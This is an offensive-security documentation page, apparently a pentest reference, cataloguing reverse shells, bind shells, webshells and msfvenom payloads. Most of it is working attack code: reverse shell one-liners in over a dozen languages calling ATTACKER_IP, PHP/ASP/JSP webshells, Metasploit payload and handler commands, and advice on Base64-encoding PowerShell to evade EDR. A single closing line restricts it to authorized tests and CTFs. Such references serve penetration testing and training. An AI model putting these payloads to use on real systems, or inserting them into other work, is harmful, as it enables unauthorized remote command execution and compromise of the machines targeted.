> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# Shells

A shell is just an interactive command prompt on the target machine, your way of actually running commands once you've broken in rather than exploiting the same bug over and over. In offensive security, getting a shell is usually the real goal behind an exploit: a file upload bug, a command injection, or an RCE is only useful insofar as it lets you get one.

There are two main ways a shell can be delivered, depending on which side initiates the connection.

> **Reverse Shell**
>
> The target connects out to you. You set up a listener on your own machine, trigger the payload, and the target calls back to it. This is by far the more common approach, since it works even behind a NAT or firewall that blocks inbound connections but allows outbound traffic.

> **Bind Shell**
>
> The target opens a port and waits for you to connect to it. Useful when outbound traffic from the target is restricted, but less reliable in practice since inbound firewall rules usually block unsolicited connections too.

Beyond these two, there's also the **webshell**: a script dropped on a compromised web server that gives you command execution through HTTP requests instead of a raw TCP connection. It trades the interactivity of a true shell for persistence through a channel that's less likely to get blocked. Covered in its own section further down.

> [!TIP]
>
> Start your listener before triggering any payload: `nc -lvnp 4444`. Replace `ATTACKER_IP` and `4444` throughout with your actual IP and port.

***

## Reverse Shells

Pick the tab for whatever's available on the target. If your first attempt gets blocked or the process just dies, the fallback variants in each tab exist for exactly that reason.

**Bash / sh**

```bash theme={null}
# standard choice when bash is present
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# use when bash isn't installed but
sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# avoids "bash -i" showing up literally in process listings
0<&196;exec 196<>/dev/tcp/ATTACKER_IP/4444; sh <&196 >&196 2>&196

# works in restricted shells that block direct redirection
exec 5<>/dev/tcp/ATTACKER_IP/4444;cat <&5 | while read line; do $line 2>&5 >&5; done   
```

If special characters get mangled or filtered, Base64-encode the payload instead:

```bash theme={null}
# run on attacker machine to encode payload
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | base64 -w0

# run on target machine to get reverse shell
echo '<BASE64_STRING>' | base64 -d | bash
```

When `/dev/tcp` isn't compiled into the shell at all, fall back to a named pipe:

```bash theme={null}
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 >/tmp/f
```

**Python**

```python theme={null}
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
```

The `pty` module gives you a more stable shell with proper job control right out of the gate:

```python theme={null}
python3 -c 'import pty,socket,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'
```

On Windows targets with Python installed, call `cmd.exe` instead:

```python theme={null}
python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['cmd.exe'])"
```

**PowerShell**

```powershell theme={null}
powershell -nop -c "$client=New-Object Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

> [!WARNING]
>
> This command is highly visible in process listings and gets flagged by most EDR products. Use `-EncodedCommand` with a Base64-encoded version when stealth matters or quoting breaks in a web exploit context.

```powershell theme={null}
$text = '<raw command above>'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
$encoded = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $encoded
```

Reference script for a more full-featured version: [Invoke-PowerShellTcp.ps1 (nishang)](https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1)

**Netcat / Socat**

```bash theme={null}
nc -e /bin/sh ATTACKER_IP 4444
```

Socat gives you a cleaner connection and, combined with a pty, a genuinely usable shell:

```bash theme={null}
# listener on attacker machine
socat TCP-LISTEN:4444 -

# reverse shell for target machine
socat TCP4:ATTACKER_IP:4444 EXEC:'bash -li',pty,stderr,setsid,sigint,sane
```

**Other languages**

These are worth keeping around for the cases where Python, PowerShell, or a usable netcat just aren't on the box.

```perl theme={null}
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

```ruby theme={null}
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ATTACKER_IP","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```

```php theme={null}
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
```

> **More languages: Go, Node.js, Java, Groovy, awk, telnet**
>
> Go:
>
> ```go theme={null}
> echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","ATTACKER_IP:4444");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go
> ```
>
> Node.js:
>
> ```javascript theme={null}
> (function(){var net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);var client=new net.Socket();client.connect(4444,"ATTACKER_IP",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();
> ```
>
> Groovy, handy if you've landed in a Jenkins script console:
>
> ```groovy theme={null}
> String host="ATTACKER_IP";int port=4444;String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}}
> ```
>
> awk, useful when nothing else is installed at all:
>
> ```bash theme={null}
> awk 'BEGIN{s="/inet/tcp/0/ATTACKER_IP/4444";while(1){do{printf "shell>" |& s;s|&getline c;if(c){while((c |& getline) > 0) print $0 |& s;close(c)}} while(c!="exit")}}' /dev/null
> ```
>
> Telnet, for the rare box with neither nc nor an interpreter:
>
> ```bash theme={null}
> rm -f /tmp/p; mkfifo /tmp/p; telnet ATTACKER_IP 4444 0</tmp/p | /bin/sh 1>/tmp/p
> ```

***

## Bind Shells

Bind shells flip the direction: the target listens and you connect to it. You'll reach for this mainly when outbound traffic from the target is blocked but you can still hit an inbound port, which is less common than the reverse case but worth having ready.

```bash theme={null}
# Target: start a bind shell listener
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l ATTACKER_IP 7777 > /tmp/f

# Attacker: connect in
nc -nv TARGET_IP 7777
```

***

## Shell Stabilization

A raw shell has no job control, no tab completion, and tends to die on `Ctrl+C`. Before doing any real work, it's worth the ten seconds to upgrade it into something that behaves like a real terminal.

The standard method combines a Python pty with a bit of terminal plumbing:

```bash theme={null}
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Ctrl+Z to background the shell then enter
stty raw -echo; fg

# press Enter twice then enter
export TERM=xterm
```

> **No Python? Other stabilization options**
>
> ```bash theme={null}
> script /dev/null -c bash                   # works on many Linux builds
> /usr/bin/script -qc /bin/bash /dev/null    # BSD / macOS variant
> ```
>
> For the best result overall, socat gives you a fully interactive, resizable TTY:
>
> ```bash theme={null}
> # Attacker
> socat file:`tty`,raw,echo=0 tcp-listen:4443
>
> # Target
> socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4443
> ```
>
> This is closer to an actual SSH session than anything nc-based, with proper signal handling and window resizing. For the full breakdown of why each method works, see [ropnop's writeup](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/).

> [!TIP]
>
> Running `rlwrap nc -lvnp 4444` instead of plain `nc` gives you command history and line editing on your own listener, which is easy to forget and genuinely useful.

***

## Webshells

A webshell is a small script dropped on a compromised web server that lets you run commands through HTTP requests instead of a live socket connection. They're most useful when you need persistent access through a web app after the initial foothold, or when outbound connections for a reverse shell just aren't working.

```php .php theme={null}
<?php system($_GET['cmd']); ?>
```

```asp .asp theme={null}
<% eval request('cmd') %>
```

```jsp .jsp theme={null}
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
```

```bash theme={null}
curl "http://TARGET:PORT/shell.{file-ending}?cmd=id"
```

> [!TIP]
>
> [Weevely](https://github.com/epinna/weevely3) generates an obfuscated, password-protected PHP webshell and gives you a pseudo-terminal interface over HTTP instead of raw curl requests:
>
> ```bash theme={null}
> # generate a php shell 
> weevely generate <password> ./shell.php
> # upload it to the target and then interact with following command 
> weevely <url-to-uploaded-shell> <password>
> ```

Pre-built webshell collections worth keeping on hand: [Laudanum](https://github.com/jbarcia/Web-Shells/tree/master/laudanum), [phpbash](https://github.com/Arrexel/phpbash), [php-reverse-shell](https://github.com/pentestmonkey/php-reverse-shell), and [wwwolf-php-webshell](https://github.com/WhiteWinterWolf/wwwolf-php-webshell).

***

## MSFVenom Payload Generation

When you need a standalone binary rather than a one-liner, msfvenom builds the payload and `multi/handler` catches it. This is the usual route for dropping an executable rather than running an inline command.

<table>
  <colgroup>
    <col width="240" />

    <col width="435" />
  </colgroup>

  <thead>
    <tr>
      <th>Target</th>
      <th>Command</th>
    </tr>
  </thead>

  <tbody>
    <tr>
      <td>Linux ELF</td>
      <td>`msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f elf > shell.elf`</td>
    </tr>

    <tr>
      <td>Windows EXE</td>
      <td>`msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f exe > shell.exe`</td>
    </tr>

    <tr>
      <td>Windows meterpreter (x64)</td>
      <td>`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f exe > shell.exe`</td>
    </tr>

    <tr>
      <td>PHP</td>
      <td>`msfvenom -p php/reverse_php LHOST=ATTACKER_IP LPORT=443 -f raw > shell.php`</td>
    </tr>

    <tr>
      <td>Java WAR</td>
      <td>`msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f war > shell.war`</td>
    </tr>

    <tr>
      <td>ASPX</td>
      <td>`msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f aspx > shell.aspx`</td>
    </tr>
  </tbody>
</table>

Catch msfvenom payload it with the msfconsole handler:

```bash theme={null}
# one liner 
msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST ATTACKER_IP; set LPORT 443; run"

# step by step, if you'd rather set it up interactively
msfconsole
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST ATTACKER_IP
set LPORT 443
run
```

> [!NOTE]
>
> Already have a plain shell and want Meterpreter's extra features instead? Upgrade it mid-session:
>
> ```text theme={null}
> use post/multi/manage/shell_to_meterpreter
> sessions -u <session-id>
> ```

***

## Quick Reference Tools

> **[revshells.com](https://www.revshells.com/)**
>
> Generates ready-to-use payloads for dozens of languages and encodings on the fly.

> **[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)**
>
> The definitive community-maintained reverse shell cheatsheet, good for anything missing here.

> [!WARNING]
>
> Replace `ATTACKER_IP` and ports with your real listener details. For authorized penetration tests, CTFs, and lab environments only.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.